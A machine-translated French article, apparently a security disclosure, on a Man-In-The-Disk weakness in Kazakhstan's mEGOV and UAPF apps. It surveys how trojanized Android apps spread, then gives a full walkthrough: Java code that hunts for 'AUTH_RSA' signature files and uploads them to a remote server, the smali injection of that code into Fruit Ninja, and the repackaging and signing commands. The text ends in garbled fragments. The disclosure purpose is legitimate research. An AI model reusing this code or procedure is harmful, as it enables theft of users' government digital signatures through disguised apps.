Les applications mobiles du Kazakhstan mEGOV et UAPF utilisent les signatures numĂ©riques comme l'une des mĂ©thodes d'autorisation. Pour vous connecter de cette maniĂšre, vous devez transfĂ©rer le fichier de la signature numĂ©rique vers le tĂ©lĂ©phone. Cette mĂ©thode d'autorisation est vulnĂ©rable Ă une attaque Man-In-The-Disk (plus d'informations Ă ce sujet dans les dĂ©tails ci-dessous). Pour devenir victime d'une attaque, il vous suffit d'installer l'une de vos applications prĂ©fĂ©rĂ©es, qui a Ă©tĂ© secrĂštement modifiĂ©e par un attaquant. Je vais montrer comment cela peut ĂȘtre fait. Tout d'abord, dĂ©couvrez comment ces applications peuvent atteindre l'utilisateur.
Comment les applications malveillantes arrivent sur le téléphone
Marchés d'application locaux de la Chine, de l'Iran, etc.
Exemples: cafebazaar.ir, android.myapp.com, apkplz.net
Ces sites sont apparus en raison de la censure et du blocage des services Google et / ou des serveurs d'applications officielles. Habituellement, ils contiennent des analogues locaux des applications populaires et de leurs modifications. De telles modifications (comme ce télégramme iranien ) contiennent des fonctionnalités supposées nouvelles et intéressantes. Quel est le danger de telles applications? On ne sait jamais ce qu'ils font vraiment. De plus, certains gouvernements ne manquent pas l'occasion et publient leurs modifications, avec des outils de suivi de l'utilisateur. Les applications d'espionnage du gouvernement sont par définition malveillantes. Une fois, j'ai étudié une application malveillante ( résultat Virustotal , échantillon ici , mot de passe: infecté), qui a scanné le téléphone à la recherche de clones de télégrammes:
"com.hanista.mobogram" "org.ir.talaeii" "ir.hotgram.mobile.android" "ir.avageram.com" "org.thunderdog.challegram" "ir.persianfox.messenger" "com.telegram.hame.mohamad" "com.luxturtelegram.black" "com.talla.tgr" "com.mehrdad.blacktelegram"
Cette liste indique la pertinence et la popularité réelles de ces applications. Les recherches sur ce malware m'ont conduit à un article qui parle d'un clone de télégramme distribué par le marché de Cafebazaar par le gouvernement iranien. Citation de là :
Cela semble ĂȘtre dĂ©veloppĂ© selon les spĂ©cifications du gouvernement iranien, leur permettant de suivre chaque bit et octet mis en avant par les utilisateurs de l'application.
Combien de clones de télégrammes voyez-vous?: ( Source )

Il est presque impossible pour les utilisateurs ordinaires de s'en protéger, car il n'y a pas d'autre choix - les sources officielles sont intensément bloquées et les leurs sont promues. Les chercheurs et les sociétés d'antivirus du monde entier, aprÚs avoir identifié les applications infectées, le signalent rapidement à Google et ils sont supprimés du Play Market, qui, évidemment, ne s'applique pas aux marchés d'applications tiers. De plus, la politique de Google concernant l'admission des applications hébergées ne s'applique pas à elles.
Certains marchés sont trÚs populaires, comme Tencent My App , avec 260 millions d'utilisateurs par mois ( Source )

Les applications locales utilisĂ©es dans la mĂȘme rĂ©gion / pays utilisent souvent le mĂȘme SDK (ensemble de bibliothĂšques) pour le suivi publicitaire, l'intĂ©gration sociale. rĂ©seaux, etc. ... Si la mĂȘme bibliothĂšque est utilisĂ©e dans plusieurs applications, alors avec une forte probabilitĂ©, certaines de ces applications peuvent ĂȘtre installĂ©es sur un seul utilisateur. Ces bibliothĂšques peuvent utiliser les capacitĂ©s des diffĂ©rentes applications dans lesquelles elles sont intĂ©grĂ©es pour voler les donnĂ©es utilisateur, en contournant les autorisations accordĂ©es. Par exemple, une application a accĂšs pour recevoir IMEI, mais n'a pas accĂšs Ă Internet. La bibliothĂšque intĂ©grĂ©e le sait et lit donc l'IMEI et l'enregistre sur la carte SD dans un dossier cachĂ©. La mĂȘme bibliothĂšque est intĂ©grĂ©e dans une autre application qui a accĂšs Ă Internet mais pas d'accĂšs Ă IMEI, la lit Ă partir d'un dossier cachĂ© et l'envoie Ă son serveur. Cette mĂ©thode a Ă©tĂ© utilisĂ©e par deux sociĂ©tĂ©s chinoises Baidu et Salmonads. Vous pouvez en savoir plus Ă ce sujet ici .
Phishing
Le phishing classique est l'outil principal des groupes internationaux et des services spĂ©ciaux de diffĂ©rents pays . Comme cela arrive souvent, une application de messagerie rĂ©guliĂšre est prise, une fonctionnalitĂ© de suivi y est ajoutĂ©e, puis elle est massivement distribuĂ©e, avec la marque «Regardez, quelle application cool pour la communication». La livraison aux utilisateurs peut ĂȘtre effectuĂ©e via les rĂ©seaux sociaux. rĂ©seaux, spam Whatsapp / Telegram, publicitĂ©s intĂ©grĂ©es sur les sites, etc.

Source, p. 19.
Liens de phishing, sous forme de posts sur Facebook:

Source, p. 22
Popup sur un site célÚbre

Source
Bots / groupes de télégrammes
Exemple: @apkdl_bot, t.me/fun_android
Il existe des robots télégrammes pour télécharger des fichiers apk. Au lieu d'une application légitime, ils peuvent vous glisser des logiciels malveillants. Ou infectez votre application demandée à la volée. Cela fonctionne comme ceci - vous entrez la commande bot / group que vous souhaitez télécharger "Instagram", le script de l'autre cÎté le télécharge à partir de Google Play, décompresse, ajoute du code malveillant, le remballe et vous le renvoie. Comment cela se fait automatiquement, je vais essayer de montrer un exemple dans un proche avenir.
Sites de médiation tiers
Exemple: apkpure.com, apkmirror.com, apps.evozi.com/apk-downloader/
Il existe un grand nombre de sites non officiels pour tĂ©lĂ©charger des applications Android. Certains d'entre eux offrent la possibilitĂ© de tĂ©lĂ©charger votre application, ce qui peut ĂȘtre malveillant. TĂ©lĂ©chargez l'exemple sur ce site :

Un exemple de malvari qui s'est propagé de cette façon ( Source ):

Des exemples de statistiques pour les sources non officielles se trouvent dans le rapport de sécurité Android 2018 - 1,6 milliard d'installations Google Play Protect bloquées ne proviennent pas de Google Play. Il y avait beaucoup plus d'installations.
Certains Ă©crivent mĂȘme des articles sur la qualitĂ© de l'utilisation des marchĂ©s tiers.
Un monde entier séparé est composé de sites qui distribuent des applications sans publicité, des applications payantes piratées gratuitement, des applications avec des fonctionnalités supplémentaires:


Google play
La source officielle a une protection contre les applications suspectes appelées Google Play Protect, qui utilise l'apprentissage automatique pour déterminer le degré de malware. Mais une telle protection n'est pas en mesure de comprendre avec précision quelle application est malveillante et laquelle ne l'est pas, car cela nécessite une vérification manuelle complÚte. Quelle est la différence entre une application d'espionnage qui surveille tous vos mouvements et une application en cours d'exécution? Les chercheurs trouvent constamment des centaines d' applications infectées publiées sur Google Play.
Habituellement, une application malveillante s'appelle Google Play Services ou d'une maniÚre similaire et met une icÎne similaire . Ceci est trompeur pour les utilisateurs. Pourquoi Google Play ne vérifie pas la similitude de l'icÎne avec ses applications officielles n'est pas clair. Une fois dans un télégramme, j'ai mis un avatar avec un avion en papier et ils m'ont bloqué. Une autre méthode utilisée par les applications malveillantes consiste à remplacer les lettres ("L" par "I", "g" par "q") pour créer un nom similaire à l'application officielle:

Source
Autres moyens
Dans les services de réparation de téléphone
En traversant la frontiĂšre
Connectez-vous à un ordinateur inconnu via USB, avec le débogage activé.
Un attaquant accédant à votre compte Google et installant l'application sur votre téléphone via Google Play.
Applications préinstallées
Par ordonnance du tribunal et sans. Par la police ou les services spéciaux
Attaque de trou d'eau
Vous ĂȘtes venu rendre visite Ă un ami et sa tĂ©lĂ©vision a infectĂ© votre tĂ©lĂ©phone
La version particuliĂšre apparaissant sur les appareils Fire TV s'installe comme une application appelĂ©e «Test» avec le nom de package «com.google.time.timer». Une fois qu'il infecte un appareil Android, il commence Ă utiliser les ressources de l'appareil pour extraire des crypto-monnaies et tente de se propager Ă d'autres appareils Android sur le mĂȘme rĂ©seau.
Comment les attaquants infectent les applications Android
Nous comprenons maintenant comment une application malveillante peut accéder à votre téléphone. Ensuite, il sera démontré comment un attaquant peut modifier n'importe quelle application Android. Un exemple sera utilisé avec l'implémentation du code dans le jeu populaire Fruit Ninja . Le code scanne la mémoire du téléphone, recherche un fichier avec EDS et l'envoie au serveur (root n'est naturellement pas requis).
Qu'est-ce que Man-In-The-Disk?
Le public a attiré l'attention sur ce vecteur d'attaque, aprÚs cet article . Je vous conseille de le lire en premier.
Pour ceux qui ont lu, j'ajouterai de moi-mĂȘme - la modification des fichiers partagĂ©s d'autres applications peut Ă©galement conduire Ă l'exploitation de vulnĂ©rabilitĂ©s dans les bibliothĂšques qui utilisent ces fichiers
Qui n'a pas lu, je le dirai briÚvement. Pour commencer, définissons les concepts. Dans Android, la mémoire des applications est divisée en stockage interne et stockage externe. Le stockage interne est la mémoire interne de l'application, accessible uniquement à lui et à personne d'autre. Absolument chaque application sur le téléphone correspond à un utilisateur séparé et à un dossier séparé avec des droits uniquement pour cet utilisateur. Il s'agit d'un excellent mécanisme de défense. Stockage externe - la mémoire principale du téléphone, accessible à toutes les applications (cela inclut également la carte SD). Pourquoi est-il nécessaire? Prenez une application de retouche photo. AprÚs l'édition, vous devez enregistrer la photo afin qu'elle soit accessible depuis la galerie. Naturellement, si vous le mettez dans le stockage interne, il ne sera accessible à personne, sauf à votre application. Ou un navigateur qui télécharge tous les fichiers dans le dossier partagé Téléchargements.
Chaque application Android possĂšde son propre ensemble d'autorisations qu'elle demande. Mais ce n'est pas si bon avec eux. Parmi eux, il y a ceux que les gens ferment volontiers des yeux et ne prennent pas au sĂ©rieux. Parmi eux se trouve READ_EXTERNAL_STORAGE. Il permet Ă l'application d'accĂ©der Ă la mĂ©moire principale du tĂ©lĂ©phone, et donc Ă toutes les donnĂ©es d'autres applications. AprĂšs tout, personne ne sera surpris si l'application Notebook demande cette autorisation. Il peut ĂȘtre nĂ©cessaire pour lui de stocker les paramĂštres et de les mettre en cache. La manipulation de donnĂ©es Ă partir d'autres applications dans le stockage externe est l'attaque Man-In-The-Disk. INTERNET est une autre rĂ©solution, presque par dĂ©faut. Comme son nom l'indique, il permet Ă l'application d'avoir accĂšs au rĂ©seau. Le plus triste est que l'utilisateur ne voit pas de fenĂȘtre spĂ©ciale lui demandant de donner cette autorisation. Vous venez de l'Ă©crire dans votre candidature et ils vous le donnent.
J'ai téléchargé les 15 meilleures applications kazakhes et j'ai écrit un script qui affiche des statistiques sur les autorisations demandées. Comme vous pouvez le voir, READ_EXTERNAL_STORAGE, WRITE_EXTERNAL_STORAGE et INTERNET sont trÚs populaires. Cela signifie que les attaquants peuvent intégrer moins péniblement du code qui vole des signatures numériques dans la plupart des applications.
Liste des applications testées
2-SIG, AliExpress, Chocofood, Chrome, InDriver, Instagram, Kaspi, Kolesa, Krisha, Telegram, VK, WhatsApp, Yandex Music, Yandex Taxi
, Zakon KZ

Si vous mettez WhatsApp sur un tĂ©lĂ©phone rootĂ©, toute votre correspondance est stockĂ©e en texte clair. Apparemment, WhatsApp ne juge mĂȘme pas nĂ©cessaire d'utiliser le cryptage sur un tel tĂ©lĂ©phone "corrompu". En outre, dans le stockage externe, WhatsApp stocke SSLSessionCache (cache basĂ© sur fichier des sessions SSL Ă©tablies). Ă l'avenir, j'essaierai d'explorer comment utiliser ces fichiers reçus du tĂ©lĂ©phone de quelqu'un d'autre.
Les télégrammes et Instagram stockent les images mises en cache dans la mémoire partagée. Presque toutes les photos que vous visualisez et celles que vous vous envoyez les unes aux autres sont disponibles pour n'importe quelle application sur votre téléphone.

Les applications MEGOV et ENPF nécessitent que la signature numérique se trouve dans le stockage externe:


Google est conscient du problĂšme et est sur le point de modifier READ_EXTERNAL_STORAGE dans Android Q. Quote:
Afin d'accéder à tout autre fichier qu'une autre application a créé, y compris les fichiers dans un répertoire "téléchargements", votre application doit utiliser le Storage Access Framework, qui permet à l'utilisateur de sélectionner un fichier spécifique.
Créer une charge utile
Passons à la fonctionnalité principale du scanner. Il comprendra trois classes principales: StageAttack
, MaliciousService
, MaliciousTaskManager
.

StageAttack
- consiste en une méthode statique qui démarre notre attaque. Nous créons spécifiquement une méthode statique de transition, pour la commodité de l'implémentation dans la classe finie.
public class StageAttack { public static void pwn(Context ctx) { Intent intent = new Intent(ctx, MaliciousService.class); ctx.startService(intent); } }
MaliciousService
est un service qui recherche récursivement tout le stockage externe.
private String pwn2(File dir) { String path = null; File[] list = dir.listFiles(); for (File f : list) { if (f.isDirectory()) { path = pwn2(f); if (path != null) return path; } else { path = f.getAbsolutePath(); if (path.contains("AUTH_RSA")) { Log.d(TAG, "AUTH_RSA found here - " + path); return path; } } } return null; }
Si l'EDS n'est pas trouvĂ©, nous rĂ©pĂ©terons la recherche toutes les 5 secondes jusqu'Ă ce que nous le trouvions. Vous pouvez utiliser n'importe quel intervalle. Prenant un intervalle trop court, notre service court le risque d'ĂȘtre arrĂȘtĂ© par le systĂšme. Plus la version d'Android est Ă©levĂ©e, plus la politique concernant le fonctionnement des processus d'arriĂšre-plan est sĂ©vĂšre. Nous ne pouvons pas non plus utiliser le service Foreground, car pour cela une notification doit constamment se bloquer. N'Ă©tant pas dĂ©veloppeur Android, j'ai passĂ© beaucoup de temps Ă trouver un moyen de planifier une tĂąche qui sera terminĂ©e Ă temps. Ce n'est pas aussi simple qu'il y paraĂźt. Il existe plusieurs mĂ©thodes recommandĂ©es pour cela dans Android (JobService, WorkManager, setRepeating () AlarmManager). La documentation n'indique pas explicitement que l'intervalle de la tĂąche doit ĂȘtre d'au moins 15 minutes et son temps d'exĂ©cution dĂ©pend de la volontĂ© du systĂšme. Cela ne nous convient pas, nous utilisons donc la classe AlarmManager
, la méthode setExactAndAllowWhileIdle()
. Lorsque la tĂąche est terminĂ©e, nous la planifions Ă nouveau, avec le mĂȘme intervalle. C'est la seule mĂ©thode que je connaisse actuellement qui a la plus grande prĂ©cision.
private void scheduleMalService() { Context ctx = getApplicationContext(); AlarmManager alarmMgr = (AlarmManager) ctx.getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(ctx, MaliciousTaskManager.class); final int _id = (int) System.currentTimeMillis(); PendingIntent alarmIntent = PendingIntent.getBroadcast(ctx, _id, intent, 0); alarmMgr.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + 5000, alarmIntent); }
Si un EDS est trouvé, nous envoyons le fichier au serveur:
private void sendToServer(String path) { File file = new File(path); URL url = new URL("http://xxxxxxxxxx"); HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection(); urlConnection.setConnectTimeout(30 * 1000); urlConnection.setRequestMethod("POST"); urlConnection.setDoOutput(true); urlConnection.setRequestProperty("Content-Type", "application/octet-stream"); DataOutputStream request = new DataOutputStream(urlConnection.getOutputStream()); request.write(readFileToByteArray(file)); request.flush(); request.close(); int respCode = urlConnection.getResponseCode(); Log.d(TAG, "Return status code: " + respCode); }
Nous introduisons la charge utile
Nous décompilons d'abord Fruit Ninja en utilisant apktool . Nous ne décompilons pas l'application avant le code java, car aprÚs la modification, nous ne pourrons pas la remonter. Nous devons obtenir exactement des cours de smali. Et nous allons également implémenter notre code sous forme de code smali.
Qu'est-ce que le code smali?
Les applications Android sont compilĂ©es en bytecode, qui est exĂ©cutĂ© par la machine virtuelle Dalvik. Le bytecode lui-mĂȘme est difficile Ă lire, donc sa forme lisible par l'homme est appelĂ©e smali. smali est un analogue du langage d'assemblage, mais pour Android.
De plus, si nous voulons que notre charge utile démarre au démarrage de l'application, nous devons modifier le point d'entrée. Le point d'entrée de toute interface graphique d'application est une classe enfant Activity qui prend ACTION_MAIN. Ouvrez le dossier avec l'application décompilée et recherchez-le dans le fichier AndroidManifest.xml:
<activity android:name="com.halfbrick.mortar.MortarGameLauncherActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity>
Nous avons trouvé la classe com.halfbrick.mortar.MortarGameLauncherActivity
nous avions com.halfbrick.mortar.MortarGameLauncherActivity
. Avant de l'étudier, regardons le cycle de vie de l'activité, cela nous sera utile.

Source
Open Activity, pour moi, il se trouve le long du chemin de base \ smali_classes2 \ com \ halfbrick \ mortar \ MortarGameLauncherActivity.smali . Si vous n'avez jamais vu de code smali auparavant, ce n'est pas effrayant, il est assez simple Ă lire et clair.
.class public Lcom/halfbrick/mortar/MortarGameLauncherActivity;
Nous avons découvert que MortarGameLauncherActivity
lance MortarGameActivity
et se ferme. Ouvrez MortarGameActivity
. Nous ne le commenterons pas complÚtement. Nous nous intéressons à ce qui se passe dans la méthode Oncreate
, car elle démarre la création d'activité. Immédiatement aprÚs, nous insérerons notre code. Il est important de ne pas bouleverser la ligne lors du collage.
.method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V <---------------------------
Maintenant, nous avons besoin d'un code de charge utile smali. Nous collectons notre scanner en apk et décompilons. Nous transférons nos trois classes décompilées, qui se trouvent le long du chemin smali \ kz \ c \ signscan , dans le dossier com / halfbrick / mortar . Remplacez le nom du package par toutes les classes, de kz.c.signscan à com.halfbrick.mortar .
C'était:
.class public Lkz/c/signscan/StageAttack;
C'est devenu:
.class public Lcom/halfbrick/mortar/StageAttack;
Dans la classe smali MainActivity, MainActivity
prenons la ligne d'appel de la charge utile:
invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V
Et insérez-le dans MortarGameActivity
. Par conséquent, la méthode onCreate()
ressemble Ă :
... .method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V .line 472 invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V .line 473 invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z .line 475 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent; ...
La classe MaliciousTaskManager
dans la charge utile est BroadcastReceiver et MaliciousService
est IntentService, nous devons donc les écrire dans le manifeste.
... <receiver android:name=".MaliciousTaskManager"/> <service android:name=".MaliciousService"/> ...
Nous emballons tout en arriĂšre avec la apktool b myfolder
. En conséquence, nous obtenons le fichier apk. Nous devons maintenant le signer pour que l'androïde accepte notre application. Tout d'abord, nous générerons une clé avec laquelle nous signerons:
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
Nous signons apk:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name
Virustotal ne nous montrera rien, car nous ne faisons rien «d'illégal». - .

, :